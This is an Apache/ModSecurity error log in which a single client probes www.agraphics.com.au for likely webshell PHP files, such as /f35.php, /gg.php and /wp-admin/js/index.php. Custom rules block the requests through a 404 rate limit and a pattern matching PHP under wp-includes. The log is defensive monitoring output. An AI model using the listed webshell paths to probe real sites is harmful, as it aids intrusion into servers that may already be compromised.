[Sat Feb 28 16:24:06.484977 2026] [:error] [pid 49763:tid 49770] [client 20.220.232.101:25275] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaKmJrTHSOG_yf2PpqHmEwAAAcQ"]
[Sat Feb 28 16:24:08.520658 2026] [:error] [pid 49763:tid 49769] [client 20.220.232.101:25285] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaKmKLTHSOG_yf2PpqHmKQAAAcM"]
[Sat Feb 28 16:24:11.004576 2026] [:error] [pid 49763:tid 49774] [client 20.220.232.101:24727] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaKmK7THSOG_yf2PpqHmOgAAAcg"]
[Sat Feb 28 16:24:14.816992 2026] [:error] [pid 49763:tid 49787] [client 20.220.232.101:25238] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaKmLrTHSOG_yf2PpqHmYQAAAdU"]
[Sat Feb 28 16:24:17.191228 2026] [:error] [pid 49763:tid 49787] [client 20.220.232.101:64396] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaKmMbTHSOG_yf2PpqHmbwAAAdU"]
[Sat Feb 28 16:24:20.592407 2026] [:error] [pid 52460:tid 52475] [client 20.220.232.101:25267] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaKmNLLWOogAgHGh62SoNgAAAYw"]
[Sat Feb 28 16:24:22.858424 2026] [:error] [pid 49763:tid 49789] [client 20.220.232.101:64385] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaKmNrTHSOG_yf2PpqHmlAAAAdc"]
[Sat Feb 28 16:24:24.303061 2026] [:error] [pid 49763:tid 49776] [client 20.220.232.101:60966] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaKmOLTHSOG_yf2PpqHmmgAAAco"]
[Sat Feb 28 16:24:26.069865 2026] [:error] [pid 49763:tid 49781] [client 20.220.232.101:64431] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/security.php"] [unique_id "aaKmOrTHSOG_yf2PpqHmoAAAAc8"]
[Sat Feb 28 16:24:27.296890 2026] [:error] [pid 39184:tid 39239] [client 20.220.232.101:25240] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/security.php"] [unique_id "aaKmO1tZF9Zd_U7easAeXwAAAFQ"]
[Sat Feb 28 16:24:28.909266 2026] [:error] [pid 49763:tid 49779] [client 20.220.232.101:25247] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/security.php"] [unique_id "aaKmPLTHSOG_yf2PpqHmrwAAAc0"]
[Sat Feb 28 16:24:29.700434 2026] [:error] [pid 39183:tid 39208] [client 20.220.232.101:59697] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/security.php"] [unique_id "aaKmPRCf4HvhVePw3LYcxgAAABA"]
[Sat Feb 28 16:24:30.612870 2026] [:error] [pid 11791:tid 11815] [client 20.220.232.101:25317] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaKmPmuX5e1Q32gqxH1zcgAAARY"]
[Sat Feb 28 16:24:32.355936 2026] [:error] [pid 49763:tid 49790] [client 20.220.232.101:25258] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaKmQLTHSOG_yf2PpqHmxAAAAdg"]
[Sat Feb 28 16:24:33.529165 2026] [:error] [pid 39184:tid 39240] [client 20.220.232.101:64401] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaKmQVtZF9Zd_U7easAecQAAAFU"]
[Sat Feb 28 16:24:34.966171 2026] [:error] [pid 39184:tid 39242] [client 20.220.232.101:59690] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaKmQltZF9Zd_U7easAeeAAAAFc"]
[Sat Feb 28 16:24:36.358646 2026] [:error] [pid 39184:tid 39241] [client 20.220.232.101:64443] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaKmRFtZF9Zd_U7easAeiQAAAFY"]
[Sat Feb 28 16:24:37.934883 2026] [:error] [pid 49763:tid 49782] [client 20.220.232.101:25278] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaKmRbTHSOG_yf2PpqHm2gAAAdA"]
[Sat Feb 28 16:24:39.011992 2026] [:error] [pid 22194:tid 22220] [client 20.220.232.101:24728] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaKmR36mbajs3bzQGytwgwAAAVg"]
[Sat Feb 28 16:24:40.442745 2026] [:error] [pid 39184:tid 39232] [client 20.220.232.101:25319] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaKmSFtZF9Zd_U7easAeogAAAE0"]
[Sat Feb 28 16:24:42.129753 2026] [:error] [pid 39184:tid 39222] [client 20.220.232.101:24978] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaKmSltZF9Zd_U7easAeqAAAAEM"]
[Sat Feb 28 16:24:44.276687 2026] [:error] [pid 39185:tid 39249] [client 20.220.232.101:24740] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaKmTBVE-FfM89u7BQZkwAAAAIM"]
[Sat Feb 28 16:24:53.964632 2026] [:error] [pid 49763:tid 49779] [client 20.220.232.101:25250] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaKmVbTHSOG_yf2PpqHm8gAAAc0"]
[Sat Feb 28 16:24:58.803170 2026] [proxy_fcgi:error] [pid 52460:tid 52470] [client 20.220.232.101:64424] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:25:00.269554 2026] [proxy_fcgi:error] [pid 52460:tid 52468] [client 20.220.232.101:64424] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:25:00.484596 2026] [proxy_fcgi:error] [pid 52460:tid 52463] [client 20.220.232.101:64424] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:25:00.701133 2026] [proxy_fcgi:error] [pid 52460:tid 52477] [client 20.220.232.101:64424] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:25:00.917856 2026] [:error] [pid 52460:tid 52481] [client 20.220.232.101:64424] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaKmXLLWOogAgHGh62SodAAAAZI"]
[Sat Feb 28 16:25:02.893591 2026] [:error] [pid 49763:tid 49774] [client 20.220.232.101:59677] [client 20.220.232.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaKmXrTHSOG_yf2PpqHnDwAAAcg"]
[Sat Feb 28 16:25:05.290235 2026] [proxy_fcgi:error] [pid 49763:tid 49774] [client 20.220.232.101:25327] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:25:05.495219 2026] [:error] [pid 49763:tid 49784] [client 20.220.232.101:25327] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "aaKmYbTHSOG_yf2PpqHnIAAAAdI"]
[Sat Feb 28 16:25:06.701264 2026] [:error] [pid 22194:tid 22206] [client 20.220.232.101:59695] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "aaKmYn6mbajs3bzQGytwiAAAAUo"]
[Sat Feb 28 16:25:08.319224 2026] [:error] [pid 49763:tid 49774] [client 20.220.232.101:25315] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "aaKmZLTHSOG_yf2PpqHnLwAAAcg"]
[Sat Feb 28 16:25:10.748657 2026] [:error] [pid 49763:tid 49766] [client 20.220.232.101:24707] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/f35.php"] [unique_id "aaKmZrTHSOG_yf2PpqHnMgAAAcA"]
[Sat Feb 28 16:25:11.601104 2026] [:error] [pid 39292:tid 39304] [client 20.220.232.101:59691] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaKmZ6IAO5fN7BxyqcEVaQAAAMo"]
[Sat Feb 28 16:25:13.331497 2026] [:error] [pid 39292:tid 39318] [client 20.220.232.101:24746] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaKmaaIAO5fN7BxyqcEVawAAANg"]
[Sat Feb 28 16:25:14.451030 2026] [:error] [pid 11791:tid 11795] [client 20.220.232.101:24974] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaKmamuX5e1Q32gqxH1zjAAAAQI"]
[Sat Feb 28 16:25:15.791790 2026] [:error] [pid 39183:tid 39215] [client 20.220.232.101:24725] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaKmaxCf4HvhVePw3LYdFwAAABc"]
[Sat Feb 28 16:25:16.818008 2026] [:error] [pid 22194:tid 22210] [client 20.220.232.101:64384] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aaKmbH6mbajs3bzQGytwjQAAAU4"]
[Sat Feb 28 16:25:19.354293 2026] [:error] [pid 52460:tid 52482] [client 20.220.232.101:64409] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aaKmb7LWOogAgHGh62SohgAAAZM"]
[Sat Feb 28 16:25:20.850748 2026] [:error] [pid 22194:tid 22218] [client 20.220.232.101:25293] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aaKmcH6mbajs3bzQGytwkQAAAVY"]
[Sat Feb 28 16:25:21.547966 2026] [:error] [pid 39183:tid 39200] [client 20.220.232.101:59648] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/juuuu.php"] [unique_id "aaKmcRCf4HvhVePw3LYdIAAAAAg"]
[Sat Feb 28 16:25:22.670098 2026] [:error] [pid 39185:tid 39263] [client 20.220.232.101:25320] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ha.php"] [unique_id "aaKmchVE-FfM89u7BQZk4wAAAJE"]
[Sat Feb 28 16:25:23.731527 2026] [:error] [pid 22194:tid 22199] [client 20.220.232.101:24735] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ha.php"] [unique_id "aaKmc36mbajs3bzQGytwlAAAAUM"]
[Sat Feb 28 16:25:25.428831 2026] [:error] [pid 39185:tid 39254] [client 20.220.232.101:64398] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ha.php"] [unique_id "aaKmdRVE-FfM89u7BQZk6wAAAIg"]
[Sat Feb 28 16:25:26.687560 2026] [:error] [pid 39183:tid 39197] [client 20.220.232.101:25229] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ha.php"] [unique_id "aaKmdhCf4HvhVePw3LYdJQAAAAU"]
[Sat Feb 28 16:25:27.409695 2026] [:error] [pid 39183:tid 39215] [client 20.220.232.101:61040] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gg.php"] [unique_id "aaKmdxCf4HvhVePw3LYdKgAAABc"]
[Sat Feb 28 16:25:28.867238 2026] [:error] [pid 39185:tid 39252] [client 20.220.232.101:64441] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gg.php"] [unique_id "aaKmeBVE-FfM89u7BQZk7gAAAIY"]
[Sat Feb 28 16:25:31.203438 2026] [:error] [pid 39183:tid 39200] [client 20.220.232.101:64386] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gg.php"] [unique_id "aaKmexCf4HvhVePw3LYdNQAAAAg"]
[Sat Feb 28 16:25:34.836803 2026] [:error] [pid 39185:tid 39253] [client 20.220.232.101:24747] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gg.php"] [unique_id "aaKmfhVE-FfM89u7BQZk7wAAAIc"]
[Sat Feb 28 16:25:39.420710 2026] [:error] [pid 39185:tid 39247] [client 20.220.232.101:24744] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we2.php"] [unique_id "aaKmgxVE-FfM89u7BQZk8QAAAIE"]
[Sat Feb 28 16:25:44.536241 2026] [:error] [pid 11791:tid 11803] [client 20.220.232.101:64420] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we2.php"] [unique_id "aaKmiGuX5e1Q32gqxH1zmwAAAQo"]
[Sat Feb 28 16:25:47.364957 2026] [:error] [pid 39184:tid 39237] [client 20.220.232.101:61011] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we2.php"] [unique_id "aaKmi1tZF9Zd_U7easAe1wAAAFI"]
[Sat Feb 28 16:25:49.100075 2026] [:error] [pid 39184:tid 39243] [client 20.220.232.101:60958] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/we2.php"] [unique_id "aaKmjVtZF9Zd_U7easAe3QAAAFg"]
[Sat Feb 28 16:25:52.439047 2026] [:error] [pid 52460:tid 52477] [client 20.220.232.101:25281] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/04.php"] [unique_id "aaKmkLLWOogAgHGh62SolQAAAY4"]
[Sat Feb 28 16:25:54.523969 2026] [:error] [pid 39292:tid 39302] [client 20.220.232.101:25220] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/04.php"] [unique_id "aaKmkqIAO5fN7BxyqcEVhgAAAMg"]
[Sat Feb 28 16:25:55.823497 2026] [:error] [pid 39292:tid 39307] [client 20.220.232.101:25330] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/04.php"] [unique_id "aaKmk6IAO5fN7BxyqcEViAAAAM0"]
[Sat Feb 28 16:25:57.683554 2026] [:error] [pid 39292:tid 39295] [client 20.220.232.101:25309] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/04.php"] [unique_id "aaKmlaIAO5fN7BxyqcEVigAAAME"]
[Sat Feb 28 16:25:59.422602 2026] [:error] [pid 39183:tid 39204] [client 20.220.232.101:64415] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/333.php"] [unique_id "aaKmlxCf4HvhVePw3LYdTwAAAAw"]
